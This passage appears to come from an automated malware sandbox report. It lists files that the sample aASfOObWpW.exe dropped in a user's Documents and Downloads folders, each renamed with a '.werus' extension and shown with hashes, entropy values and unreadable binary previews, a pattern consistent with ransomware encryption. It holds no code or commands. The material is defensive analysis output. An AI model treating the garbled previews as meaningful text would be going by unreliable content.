Preview:	...j.\..U.&.8RcU...XuQ..k.:....{."f(.;.x...8.".A.1%8......m..l.P:.S:2...2c@..,,.<..RL..u{.....Fr....;X^X.e.S.i.[+.../.&.Tq.~jxC,..............PJ..#(A.,bT........5.Q....1..1..Z......!.<!....3N. ef.v...q<....B$[...p.......F~..&.@..H.......3.T7.w..\.....<8..;.U..6.q.f..h.f...\A..$..:...6jJ.Z...R.....!...t....<...r.G@..^C..z...%.\.9L2.fW..n..,J...Q..1+b.....y..........$..j.....Nx.q.E.<K...!..J.D.y.o-..bj.F.....3.j.}.d.......%+..G$..yu.R...1..,.>.>1..y....3..y..3.......V.q........fM[?<.(..0L.}.t..;}..D8.C.4...+..>...1.w.X]P(.....HU...&.\....;...?...T...f.<;....@.4.).".....wJ.^.....9.#y`.J%.xD.L.J..{.....d)...;T..\U..I.G......7...h...:)..2............w..K.w.....xv4 .!...<g..Q.Al......~.\|wf.h1.s.S..-/.[.m(.4uLc<.M.9.GW./.........R.*n&h......;+..[.z......0....A8....&.f....]I...(L.c..`....369.(O.....h@.g.[.q....^.{....N...^+n.$...l.k.\|.l..\t....k.L....7.#.6Gt.(...!.^\[........L).4.6...YT.N.{..:...E~......7.......<f2/..?.2..T........g.po....8..M...l

C:\Users\user\Documents\NVWZAPQSQL.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815318155019802
Encrypted:	false
SSDEEP:	24:ekmW4TKI4HedQMw/ezvoFaPJqQ7DVhTBT7cHkgBdlqahLm+/3R9HN9g:eZW4ub+dQMae8EBquD3BT7wzBdlqavZy
MD5:	509F015F2DB9EE594031AB80CF3316C5
SHA1:	258B4567FACE4CEC1C0E889C5FF657635D546353
SHA-256:	AECB13B0A0403C12FB53B2B79621AC9DEE54EB271381B49776591F97A789E7D7
SHA-512:	48AA32EA89340F41E69DC1744EFAA9DE5E092DD96E65FC2E76C904A7CC06C3A1E2F84562264430CB7FDBFCC627DF9FE61DF5D8005AC9759F55FF94B147FD5DE4
Malicious:	false
Preview:	..$.vl...r..\|.=.hS59_7...P...,.W7...c..f'/.U..........X..AV,..y...Jb...6>..;.7.P..mS..2.=.PL..%..rq.mt...GT{.m.m....g.8s..8^.m;.`..gq.A..Qdw#..a...4.._..E....pS'.T.......u...A\|..\...S...=.5v g.=..[..v3...E.a...oY.K...fT.obGD..c6.>......K........... .......zR'!n.le..... ....mg.m.k.rX&.0.p...A&...c5..(;q.J...EC.'.O\|..........E.wd.....S.........Q:{].......W\w._..m...S&.d.h.....9.....Ex..-..-..MK.,.?'.......L...:K.6D.{3MFvV.\.$..5.S..U.Z..5J?TY.. ..,.5.=].z.hKf..Fzq...&..e.zL2..-v....Y.1N..u....@sA..[..-NS.....va.w...P......IPn........bdZ)..Q..6$..../.)..jCSm=('.Jea..{..sT8SZ..nP...I...rR..;m.......#........V.n.%[...;\|D...g).-r.?.....s..,v..........6[R...o.......B..............x...V.m.H.-.!..B.Y.....a........KU..i7...z...Yc..a.r.@..._.D.....l....;....BPn}..........9.u...c%u.R?V.r...>.r6i.L.xh..o..}+....K....s.k..-..yZ.:..z.M.jOR.YR%.)C..g._.\|../f.Zj...m7H._E..J....+._\.......o.&...er$.\..1W.1.% T..4....7..A....o~6y;..]@\|......

C:\Users\user\Documents\NVWZAPQSQL\BJZFPPWAPT.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815394976977743
Encrypted:	false
SSDEEP:	24:UY5YgVIssmlpFcqRJXQgsRmWwJckY1XOV5H5rm/+RyiTbl7rQyPq:F5YgVI1mPFzRzsn+KePH5rYcyqbl7rdy
MD5:	6E5BFC1E872E4925BF62C70242D73D4C
SHA1:	58C7852A21348D4FECB8A7971D1E85B26777E9B3
SHA-256:	5CAC4025AC87F1446CE2F1C72DF506097FA65CB25974A92C7B09C7C9400EAD61
SHA-512:	97DFAB9B444D44D19D3ED0DCE9B7CDF0E4E8DD44DB7A1F239E2E614BF4EF33ADCC1280CE6AE9D00C63B7A6DBB23B06BFB3ADAC04A495C883D8865F175C3CA465
Malicious:	false
Preview:	"k>$n..<........P.^.\|.Y....U...p'...gj.J.?....W...$.hU.[.).@.n..P.I.'..O".....CB~..dnqU.w0B.J.O...w..!.._....vH7....h..j.... ....V.....7......w..0..\|...n..# .. W..B..=S...V.mH..Q.~=.v.....\+2...q.h...o.C...lD.....C....q8v..5f`.....}...U9:v.2.&A.H'.. ...j.t.E&.C1f.."....D6.........X.wM..D...@.p.....I..{K.z7...zv?.!^X^..+&.vd..0.X...(t. ..0]7.].9{..4....U)I?.1HQ3..{D@.r/.2}.......dVc.....L.}...Q..0..j...s.2....>..{.BV..;K..&]...`..A.X&...f.....p.h.......I.....xK.\|..">k;&.v.-....... .1.......E}..Q...,p....Z-..X.#.t,G#Qw.<.mY.J.)...~.t..._.(....3..{.......t9..>..[...c8.>.xM..o1. .s..........Jq..b..`T]0..8..6..!.ve...a&.hS......j...b.C..yL..n..dT.$....A...`.6D...X@p.N.q~.;......M....f.1..........cT.X."S..............1L..\|E.O6.Elf..xt..Q.D...f .D.bA.4..*....V..`.V..\....O.. .CS).......Y...d.F..;.w..$..q).-.m[...l#..\Q.v.#A..wav.V.V...q..v.....,.=..^...(..`Y9....>.K.p+.............]....}Y..(..A.o.\|....N.d...8r.o.&..d..l..#D7J..l.E....J.L..gJIj~y.s

C:\Users\user\Documents\NVWZAPQSQL\DUUDTUBZFW.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.828220413993666
Encrypted:	false
SSDEEP:	24:g13yKrR1kMESHgJN/DHMtOdU2xClZUH3AS3QKY94QE:eiKd1V1gJN/DHMtTIDHw0QKYGQE
MD5:	2D0ABCE385246A61C179DF80E9219CBF
SHA1:	0ABA438E60CB193864B4A0C382D14E309B899A7F
SHA-256:	E1CC73C4B5426A8DD9246610E20C89387E8D027AABD758AD504A66707989BBCB
SHA-512:	296A384489120B8954C7C5DA8DC9141D6A7BDD196D44122D5077DCADEB1EB069644D79B6690D18293748FD0271A74DBBCFDEB8BF841CDDCD7B046361B5EB8434
Malicious:	false
Preview:	<s..AfiN.....M.5x..d.>.l.....{....k.p........$.}>..........~......4..O.~..N.c.;.7..)>.>4..p...E......c...g..od...fi7K...7g=q.P...B....#.n..\_.O..N.L.'Z.3..F.../$...-8X.z...d,..j.1.>?..z/....M..+..e....LE.v../.:3&T...tfz...ov.8.)}.>.N.T.P.ky{.....%%i......$...hL8.c.).<.^QZX...a...j..DX.%....w.b..j..:@.W...c.G.........x.........'.d..@..?.'.y.)..i...{.GI.6x.H1.q(...ZVr~..}.....FE.g\|......q.H.h<.S #...A<I..iu.`."?.....K}......W$..P.Uc..\|..,.............k.Z..h.0a`.....HR2jL....!.UVZP.t...F.(...;H..@..K.&~\|~............D..M.....^S.]j....=.N...q$..V..%%J..#w.......W.7. .6....2....n...J.....h.I..tZN\Hb..a.4..;3j:#.a.A.X?..%>v......yq..t7(A..3I...y...8i.c....n..}.U;G..]..@.fQ..]Q...o..o.F<Q.o...7.)m.....0..W.)V...#....w......;v....\N....d.5..:[..#[=...e=.`.zk.w........af..S.....(..2....V?y%v%.........zC3.\|+.E.....E.Z...Ve=s...'F...u.f.T4..F..S}.+.........:0...=.\|.f....PY.W.Z...[..E.92C..}..Z.WC"#...u.....+b.r..r..>.jb..!....5k.....7

C:\Users\user\Documents\NVWZAPQSQL\EFOYFBOLXA.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.798255607866141
Encrypted:	false
SSDEEP:	24:wRQt4ltDWFW96dFC3MFEC/cIoi4CV5fIZBb+Cbi:uUE90W8dY3MWCLFgjs
MD5:	F0A2E536D14085B332671A54E1C8E828
SHA1:	A75A8E0D8EEDBC9C992E8B4D499EA04F369384AC
SHA-256:	3CB2950FAC9DBDD07CCAF61B645DC96D842264EDA67EB63A59017BDF836F5C91
SHA-512:	2D1EE758C8E12C77465C0B50A69EA69E82CC76F814EED9A309C23955DB8B25081AF79971D1A534263C84CFBD7C3394F6675FD5754D012CAB5D4D20AEDAB5C829
Malicious:	false
Preview:	K_.d.o.....<1@.=U.....kF.D%N..D......(.3..mub..wn.9tC......X.Q.d..i.......Jhq)....o.......1.S)L.....x{...E.Wc..Q..9._...jUp.R\......E.>C=Z.WB9A.2..?.i....}iLL...sq..........>B..Y..I$kC.P..ab.m.Q..h.$Qu.5f;?[....!NO.?...lhbu.~.Q.<.Q..W2.s.s5...\p.\.xB7.-...E`..j...6...>.]f. ;..y......zj.BT.v....7...53......\|..,......Cb .......N......V..k.Fg.KBs....}.....2.6...x...g.ZW[.....2..ix.......0..z...A.Y.n2s.t.....j......Y.=..y=q..q....%.[>.K.n.....#.I.Hcp.VYB..SI..1./5..x...T.......ge.V.]....[:...\|51..S....?@..g.......IR..\.K..t..?..y......@..M5.sw..$..7..U..'.R.Hl...b....../....(.;-h.........uK.!.).......z.p..3........\|.......70.S.D~N..i.s..U;R....+%.\|..K.O".3.E(.Rq.Ki..5@.^.]..!..J..~].+...]".b.3~.;.z9P..9.T...j.d..Na. .....j>.Qo..5.:.9]W....1... N.~.S.....`L3....;..h.f.7SBu..Zi.5..a...h....v...J%.T.rSFk.6.....o..u6bT,#/.Q.).."d...dBLz.....@.....\|./P........>.GDls..yv..$..9.^...B...S...'.....@....3Qu..f..'5.2.[...1.x..SP...n....3.[.j~R..

C:\Users\user\Documents\NVWZAPQSQL\GRXZDKKVDB.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.818295075917987
Encrypted:	false
SSDEEP:	24:PoGrfdfDSL3RcQoaBpX1M5PYk76TSLFcLEmTdMP86sSfAvj9T:wGrfdGL3iyDFkaTSLFqlT+P/fwj1
MD5:	A2C57B0A762457C69AC5F09A96A32E39
SHA1:	B0C84D0612E14608199EF729B08886ECFB166675
SHA-256:	04153BA8EB9949BE92DBED893F9EA4FAEBA7141240312BA2AA02228B18D04BFD
SHA-512:	B291BAEB2DA3F9D4E31D0A37443E83A3B22D82C19FD9024345F66A761EEB1725ABF653AA99BF64ED34FB3C6B1855A21E7ADE79A82738A4EF74B68E67F2E7BD24
Malicious:	false
Preview:	2........R_. .H_..e....Xt........(...T.Z..$/....t.`.M..#..x...."..5;....B..s/..eL.s.?.....T....tF.......:..E.sE....5...9. .../.N[..}...C;y...6v..^.8.Q.'..5....H..)........}.W.q...p..K#4.D...g......`.a..b...K...=a.Y..@..Yo..6..4.....y..l@B.'."...+S.n...%.i1....q..!3KW..a>D.OY.hc..i+.k.KC.u.u.P{O....0B....L....HUJ.X4.R>..R...M.....\|'.@...i{.zp..........LK.D.g.n..M.65....F...9@..."7.......h..\kc.py.@......_......}.`...?..51%.@..$>.....lv..>....j.Y}..2...&~.)!....$.t....E-WFW>..s.s..M.o..<9.K.G.E..`t...=...+..;..4.d.c.,0p....-...[....z#...i..f.3....Ib...3k..@..V.&..&d...k.....)...b(.yL"..5...:.8@`O.]8....i"8.UC'.zCd.......+z...E..o@_.)9.l>.....kE..Xq.R.!qo..J..c..0z..M.?...mp.L/..X.....T.......K`.......~....m..Q..>;.~n..c......#.9.H...g..c./y..... .1.C...] ...!..q...8{..t.d.+.>Vx..V<..+...tAsa.t..h..`7...M..?@.'.-......p.a5..!.....O._..M.;.....E....^c..Z#S.Y.tN.^...0......1sf.L..t...!x..[....N#....{.5.....s.O%......<.....&C.2

C:\Users\user\Documents\NVWZAPQSQL\NVWZAPQSQL.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815318155019802
Encrypted:	false
SSDEEP:	24:ekmW4TKI4HedQMw/ezvoFaPJqQ7DVhTBT7cHkgBdlqahLm+/3R9HN9g:eZW4ub+dQMae8EBquD3BT7wzBdlqavZy
MD5:	509F015F2DB9EE594031AB80CF3316C5
SHA1:	258B4567FACE4CEC1C0E889C5FF657635D546353
SHA-256:	AECB13B0A0403C12FB53B2B79621AC9DEE54EB271381B49776591F97A789E7D7
SHA-512:	48AA32EA89340F41E69DC1744EFAA9DE5E092DD96E65FC2E76C904A7CC06C3A1E2F84562264430CB7FDBFCC627DF9FE61DF5D8005AC9759F55FF94B147FD5DE4
Malicious:	false
Preview:	..$.vl...r..\|.=.hS59_7...P...,.W7...c..f'/.U..........X..AV,..y...Jb...6>..;.7.P..mS..2.=.PL..%..rq.mt...GT{.m.m....g.8s..8^.m;.`..gq.A..Qdw#..a...4.._..E....pS'.T.......u...A\|..\...S...=.5v g.=..[..v3...E.a...oY.K...fT.obGD..c6.>......K........... .......zR'!n.le..... ....mg.m.k.rX&.0.p...A&...c5..(;q.J...EC.'.O\|..........E.wd.....S.........Q:{].......W\w._..m...S&.d.h.....9.....Ex..-..-..MK.,.?'.......L...:K.6D.{3MFvV.\.$..5.S..U.Z..5J?TY.. ..,.5.=].z.hKf..Fzq...&..e.zL2..-v....Y.1N..u....@sA..[..-NS.....va.w...P......IPn........bdZ)..Q..6$..../.)..jCSm=('.Jea..{..sT8SZ..nP...I...rR..;m.......#........V.n.%[...;\|D...g).-r.?.....s..,v..........6[R...o.......B..............x...V.m.H.-.!..B.Y.....a........KU..i7...z...Yc..a.r.@..._.D.....l....;....BPn}..........9.u...c%u.R?V.r...>.r6i.L.xh..o..}+....K....s.k..-..yZ.:..z.M.jOR.YR%.)C..g._.\|../f.Zj...m7H._E..J....+._\.......o.&...er$.\..1W.1.% T..4....7..A....o~6y;..]@\|......

C:\Users\user\Documents\NVWZAPQSQL\PALRGUCVEH.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.822367968188942
Encrypted:	false
SSDEEP:	24:cXHsYFAVaZuD/hPz7RCXXBHXwkP2TZgE5GYK55Y7bhWz9Own:ivuVaO/hP/EXXBgkSKMhWz9Ow
MD5:	E1306CF4E5DA8EF37EE8EF2AF33E1FA2
SHA1:	964E5A453C69D403E282DE3FCB457AEC4ED885BA
SHA-256:	944404FD1C6F16BB2CFCD92EB181E9CBA3086DFC6535BABFE54062CC4838FB8C
SHA-512:	75BF74DA96D8B44F06DD2F0FF6D09956F40220AC718702E93CFEDF6449D72A14C349CE9998AD74DFB93A205E2E8F85B4258E74B7F79DB63DA3D54367AB16250E
Malicious:	false
Preview:	P@...\h.......f].v... ..P..M..t...b..>3$.........[9Mj+..PC..6....';...EDf0"....O...1...Ph.o..a.....r.N...,..{.T...7j....mU.l.....!l.....X...9....OJ.<}..E.9...[I..o...l....a.5..f@.W..xA.....#...<...'A[..B^.. 3.R,.......K4 `.P...w.../.....P..nAt..W.Adnw......i..I..e.C.....V8..v<:...0......."B.P1z..%.K.....d7.......q.~.m.-N..r..NO...Z5.hF.,O\.#.a.......0vc...n-....o..>(-..."./8......o@PF.W.fAI..i.^....\|#DG.c.u....s%.p.XMY.$p......[=...&.Q(3.o......S$W....#.,..G.g.....P....J.G...FO.E%{..?>.R....`...'C...h.T.....+.c."..A{._...x.KYy..5\..7F.DE...\|...-J....Vz.QWo"5.h~\.K.t....J..Y..P.i.g.x$...G..p.."....xb...>we....OU....CM...........ulm..Ak.......1-.!._..o.Pb.....+<..G..:'....n.(%.......o....:E.u...`...<i30\(.yq.#..y....0b.w.k/..^.Nq...<.3.o.I. ....&...Kf..C.Z^.[c+.ip..-+i3..........^cH..........x.(.........C4K.7CI4............r....5(....KE.9};.I.ni..l....z.f....y...h..BI=:Y..&...nQ.(...i....yX@.-.6F......S..5M...ln...M.j..."{x.

C:\Users\user\Documents\NYMMPCEIMA.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.8277762038193615
Encrypted:	false
SSDEEP:	24:YM8+bOIK1GGnm+XDv/5wMrPcX2g9UnMnZUcLhgsBZi:YM8gEVpXD5FgXYoZ5Ngn
MD5:	031933300F50E20BCD60588843998EE3
SHA1:	7A723B0021B50978ABA3187E5B620C212BFFB093
SHA-256:	D76FA1FE651504A5E45FECB28B6172DEB6811C74E88594E008861C0350801963
SHA-512:	7961A2D2397853422E68DD707746146A76641A8D2AB802555A614126D16AD304227DD46D889EEEF8D218523A54A4E7750326F233119AC3185C8049AA8903F78C
Malicious:	false
Preview:	..B..f..>>2.....tX...........t.Xc..@...E..W.#..".72s.b..7.m...j.:....b..{..~}[{...z....U.c..%1.Zp\|.F33..h?...Wq6..3....#"..tM.#u.29].T.JS..s...U.V......K.'..J..(...[..4:3.n@.d....v......5...,..d....nA/...K.:...(.r.LF.....#.#31j!x0.....M2s...$.J..;.............>.uO.0q@r?....0.4w`..\...g....2.9.A...G......4....A..a..^..IY.w..yEs4...d,.j....T.-.>R7.i.,.V...#..!...7.7..k.p...\|D`\.@mR.1...........+]..5.UW..tQ..p....s...0.D ).=..Q.=.".....;..Q.....dd.%.#G?r.;.Ar/...p9..V....[.7...p..z..a;.....t^...'....U......h.n...luj.&Ye......".$.....E..\&V.".hU#.g...`l\...._n~A{.(rLD.H.z.UR.X....1...=............1N.... ...!N.k.wy.F.K......pM..- ...V...or..Cm..N.w&..g..... Y...v.t......Z.{Y...Pv@.uG..k.x.F.t.%4.i{..?...A.....V;..o.,.;...!U.....6.c.j.g...y~...........Q...U;\|^54..'D...Y} ...Xt...vV.+.iIi.1.>"............R.-.....~Fp..AR......?..x.i..\....B;....%a.c...w..^o.C.G."y... ...f.&.....u..DS.Z...7Uj.:....i. :...G....sG^(L&.._.,B...<@'...9e..<2.

C:\Users\user\Documents\PALRGUCVEH.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.822367968188942
Encrypted:	false
SSDEEP:	24:cXHsYFAVaZuD/hPz7RCXXBHXwkP2TZgE5GYK55Y7bhWz9Own:ivuVaO/hP/EXXBgkSKMhWz9Ow
MD5:	E1306CF4E5DA8EF37EE8EF2AF33E1FA2
SHA1:	964E5A453C69D403E282DE3FCB457AEC4ED885BA
SHA-256:	944404FD1C6F16BB2CFCD92EB181E9CBA3086DFC6535BABFE54062CC4838FB8C
SHA-512:	75BF74DA96D8B44F06DD2F0FF6D09956F40220AC718702E93CFEDF6449D72A14C349CE9998AD74DFB93A205E2E8F85B4258E74B7F79DB63DA3D54367AB16250E
Malicious:	false
Preview:	P@...\h.......f].v... ..P..M..t...b..>3$.........[9Mj+..PC..6....';...EDf0"....O...1...Ph.o..a.....r.N...,..{.T...7j....mU.l.....!l.....X...9....OJ.<}..E.9...[I..o...l....a.5..f@.W..xA.....#...<...'A[..B^.. 3.R,.......K4 `.P...w.../.....P..nAt..W.Adnw......i..I..e.C.....V8..v<:...0......."B.P1z..%.K.....d7.......q.~.m.-N..r..NO...Z5.hF.,O\.#.a.......0vc...n-....o..>(-..."./8......o@PF.W.fAI..i.^....\|#DG.c.u....s%.p.XMY.$p......[=...&.Q(3.o......S$W....#.,..G.g.....P....J.G...FO.E%{..?>.R....`...'C...h.T.....+.c."..A{._...x.KYy..5\..7F.DE...\|...-J....Vz.QWo"5.h~\.K.t....J..Y..P.i.g.x$...G..p.."....xb...>we....OU....CM...........ulm..Ak.......1-.!._..o.Pb.....+<..G..:'....n.(%.......o....:E.u...`...<i30\(.yq.#..y....0b.w.k/..^.Nq...<.3.o.I. ....&...Kf..C.Z^.[c+.ip..-+i3..........^cH..........x.(.........C4K.7CI4............r....5(....KE.9};.I.ni..l....z.f....y...h..BI=:Y..&...nQ.(...i....yX@.-.6F......S..5M...ln...M.j..."{x.

C:\Users\user\Documents\PALRGUCVEH.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.822367968188942
Encrypted:	false
SSDEEP:	24:cXHsYFAVaZuD/hPz7RCXXBHXwkP2TZgE5GYK55Y7bhWz9Own:ivuVaO/hP/EXXBgkSKMhWz9Ow
MD5:	E1306CF4E5DA8EF37EE8EF2AF33E1FA2
SHA1:	964E5A453C69D403E282DE3FCB457AEC4ED885BA
SHA-256:	944404FD1C6F16BB2CFCD92EB181E9CBA3086DFC6535BABFE54062CC4838FB8C
SHA-512:	75BF74DA96D8B44F06DD2F0FF6D09956F40220AC718702E93CFEDF6449D72A14C349CE9998AD74DFB93A205E2E8F85B4258E74B7F79DB63DA3D54367AB16250E
Malicious:	false
Preview:	P@...\h.......f].v... ..P..M..t...b..>3$.........[9Mj+..PC..6....';...EDf0"....O...1...Ph.o..a.....r.N...,..{.T...7j....mU.l.....!l.....X...9....OJ.<}..E.9...[I..o...l....a.5..f@.W..xA.....#...<...'A[..B^.. 3.R,.......K4 `.P...w.../.....P..nAt..W.Adnw......i..I..e.C.....V8..v<:...0......."B.P1z..%.K.....d7.......q.~.m.-N..r..NO...Z5.hF.,O\.#.a.......0vc...n-....o..>(-..."./8......o@PF.W.fAI..i.^....\|#DG.c.u....s%.p.XMY.$p......[=...&.Q(3.o......S$W....#.,..G.g.....P....J.G...FO.E%{..?>.R....`...'C...h.T.....+.c."..A{._...x.KYy..5\..7F.DE...\|...-J....Vz.QWo"5.h~\.K.t....J..Y..P.i.g.x$...G..p.."....xb...>we....OU....CM...........ulm..Ak.......1-.!._..o.Pb.....+<..G..:'....n.(%.......o....:E.u...`...<i30\(.yq.#..y....0b.w.k/..^.Nq...<.3.o.I. ....&...Kf..C.Z^.[c+.ip..-+i3..........^cH..........x.(.........C4K.7CI4............r....5(....KE.9};.I.ni..l....z.f....y...h..BI=:Y..&...nQ.(...i....yX@.-.6F......S..5M...ln...M.j..."{x.

C:\Users\user\Documents\TQDFJHPUIU.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.794728995711684
Encrypted:	false
SSDEEP:	24:6NdDp2a/nsxSB1dHS/ZnncqJ3QDR1/ukfh0fr9A:6XDp26nsIdy/ZnMb/z50fq
MD5:	DD6BD2F31E9C72DB0F81E40AF4EF23F3
SHA1:	F23025881B45D703A1B8A20F906F1DC8839A426E
SHA-256:	D31682DEA2585B97BEB3C8DC8290FC5E00D42596EDFA60F696204B8C88C62C90
SHA-512:	5F5180C5CAA08C9E2441F45BE3F4D0D8155FF2F2BFC8A2AB9B48578480A3C2B3A750091C19839F7D78799355C88042878FD36CDDD715199132FA08023F63F0F1
Malicious:	false
Preview:	...j.\..U.&.8RcU...XuQ..k.:....{."f(.;.x...8.".A.1%8......m..l.P:.S:2...2c@..,,.<..RL..u{.....Fr....;X^X.e.S.i.[+.../.&.Tq.~jxC,..............PJ..#(A.,bT........5.Q....1..1..Z......!.<!....3N. ef.v...q<....B$[...p.......F~..&.@..H.......3.T7.w..\.....<8..;.U..6.q.f..h.f...\A..$..:...6jJ.Z...R.....!...t....<...r.G@..^C..z...%.\.9L2.fW..n..,J...Q..1+b.....y..........$..j.....Nx.q.E.<K...!..J.D.y.o-..bj.F.....3.j.}.d.......%+..G$..yu.R...1..,.>.>1..y....3..y..3.......V.q........fM[?<.(..0L.}.t..;}..D8.C.4...+..>...1.w.X]P(.....HU...&.\....;...?...T...f.<;....@.4.).".....wJ.^.....9.#y`.J%.xD.L.J..{.....d)...;T..\U..I.G......7...h...:)..2............w..K.w.....xv4 .!...<g..Q.Al......~.\|wf.h1.s.S..-/.[.m(.4uLc<.M.9.GW./.........R.*n&h......;+..[.z......0....A8....&.f....]I...(L.c..`....369.(O.....h@.g.[.q....^.{....N...^+n.$...l.k.\|.l..\t....k.L....7.#.6Gt.(...!.^\[........L).4.6...YT.N.{..:...E~......7.......<f2/..?.2..T........g.po....8..M...l

C:\Users\user\Documents\TQDFJHPUIU.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.794728995711684
Encrypted:	false
SSDEEP:	24:6NdDp2a/nsxSB1dHS/ZnncqJ3QDR1/ukfh0fr9A:6XDp26nsIdy/ZnMb/z50fq
MD5:	DD6BD2F31E9C72DB0F81E40AF4EF23F3
SHA1:	F23025881B45D703A1B8A20F906F1DC8839A426E
SHA-256:	D31682DEA2585B97BEB3C8DC8290FC5E00D42596EDFA60F696204B8C88C62C90
SHA-512:	5F5180C5CAA08C9E2441F45BE3F4D0D8155FF2F2BFC8A2AB9B48578480A3C2B3A750091C19839F7D78799355C88042878FD36CDDD715199132FA08023F63F0F1
Malicious:	false
Preview:	...j.\..U.&.8RcU...XuQ..k.:....{."f(.;.x...8.".A.1%8......m..l.P:.S:2...2c@..,,.<..RL..u{.....Fr....;X^X.e.S.i.[+.../.&.Tq.~jxC,..............PJ..#(A.,bT........5.Q....1..1..Z......!.<!....3N. ef.v...q<....B$[...p.......F~..&.@..H.......3.T7.w..\.....<8..;.U..6.q.f..h.f...\A..$..:...6jJ.Z...R.....!...t....<...r.G@..^C..z...%.\.9L2.fW..n..,J...Q..1+b.....y..........$..j.....Nx.q.E.<K...!..J.D.y.o-..bj.F.....3.j.}.d.......%+..G$..yu.R...1..,.>.>1..y....3..y..3.......V.q........fM[?<.(..0L.}.t..;}..D8.C.4...+..>...1.w.X]P(.....HU...&.\....;...?...T...f.<;....@.4.).".....wJ.^.....9.#y`.J%.xD.L.J..{.....d)...;T..\U..I.G......7...h...:)..2............w..K.w.....xv4 .!...<g..Q.Al......~.\|wf.h1.s.S..-/.[.m(.4uLc<.M.9.GW./.........R.*n&h......;+..[.z......0....A8....&.f....]I...(L.c..`....369.(O.....h@.g.[.q....^.{....N...^+n.$...l.k.\|.l..\t....k.L....7.#.6Gt.(...!.^\[........L).4.6...YT.N.{..:...E~......7.......<f2/..?.2..T........g.po....8..M...l

C:\Users\user\Documents\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	416
Entropy (8bit):	7.520232025786022
Encrypted:	false
SSDEEP:	12:wXaiJm1ndrFJBab00A/K08t7t0mhu78LakhP2y/+6:gai811BQ0BuSmw82APn+6
MD5:	0B312554509327FB07D27D7EEE3A8606
SHA1:	374AF1E0E2EA7F1011E95CE0542BCAE1322297BD
SHA-256:	B3A46E3E22FF11EC2AD076DB0DC1B38A6CEAE750E161F159DC692B740C0BF563
SHA-512:	AAE5718291D6A0BD04CAD396B921D5B42745A3E6B267CC8790D2F9A43F19C9835D4F0AFFBA9732E38A7A30B3FBC0366BF215B91926FDF01850E16755C187D07F
Malicious:	false
Preview:	9...[.O......i.....+..K.m..U...>4@...OA.g.6Pe....$...\....@...e...........J`.]....c).`...u.../....vY...ND.C...+........!.R......P..7..........,=;.En....$zA-......o....~..'...;n....-...5..N...,q...^..O.v.qJ.f`...=..........#\|.....R..r.Q..tl.A.`....}.......B..n.uV1."...H.\.....H1..jqe0..{...-...TsU..(..P....Y..I.J.R..oZ..D...V'.3f.l.ao...A(..j ....5. ...V.,.MG.C...z..%5r4.d....w~.}.......^.

C:\Users\user\Downloads\BJZFPPWAPT.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815394976977743
Encrypted:	false
SSDEEP:	24:UY5YgVIssmlpFcqRJXQgsRmWwJckY1XOV5H5rm/+RyiTbl7rQyPq:F5YgVI1mPFzRzsn+KePH5rYcyqbl7rdy
MD5:	6E5BFC1E872E4925BF62C70242D73D4C
SHA1:	58C7852A21348D4FECB8A7971D1E85B26777E9B3
SHA-256:	5CAC4025AC87F1446CE2F1C72DF506097FA65CB25974A92C7B09C7C9400EAD61
SHA-512:	97DFAB9B444D44D19D3ED0DCE9B7CDF0E4E8DD44DB7A1F239E2E614BF4EF33ADCC1280CE6AE9D00C63B7A6DBB23B06BFB3ADAC04A495C883D8865F175C3CA465
Malicious:	false
Preview:	"k>$n..<........P.^.\|.Y....U...p'...gj.J.?....W...$.hU.[.).@.n..P.I.'..O".....CB~..dnqU.w0B.J.O...w..!.._....vH7....h..j.... ....V.....7......w..0..\|...n..# .. W..B..=S...V.mH..Q.~=.v.....\+2...q.h...o.C...lD.....C....q8v..5f`.....}...U9:v.2.&A.H'.. ...j.t.E&.C1f.."....D6.........X.wM..D...@.p.....I..{K.z7...zv?.!^X^..+&.vd..0.X...(t. ..0]7.].9{..4....U)I?.1HQ3..{D@.r/.2}.......dVc.....L.}...Q..0..j...s.2....>..{.BV..;K..&]...`..A.X&...f.....p.h.......I.....xK.\|..">k;&.v.-....... .1.......E}..Q...,p....Z-..X.#.t,G#Qw.<.mY.J.)...~.t..._.(....3..{.......t9..>..[...c8.>.xM..o1. .s..........Jq..b..`T]0..8..6..!.ve...a&.hS......j...b.C..yL..n..dT.$....A...`.6D...X@p.N.q~.;......M....f.1..........cT.X."S..............1L..\|E.O6.Elf..xt..Q.D...f .D.bA.4..*....V..`.V..\....O.. .CS).......Y...d.F..;.w..$..q).-.m[...l#..\Q.v.#A..wav.V.V...q..v.....,.=..^...(..`Y9....>.K.p+.............]....}Y..(..A.o.\|....N.d...8r.o.&..d..l..#D7J..l.E....J.L..gJIj~y.s

C:\Users\user\Downloads\BJZFPPWAPT.jpg.werus

Download File

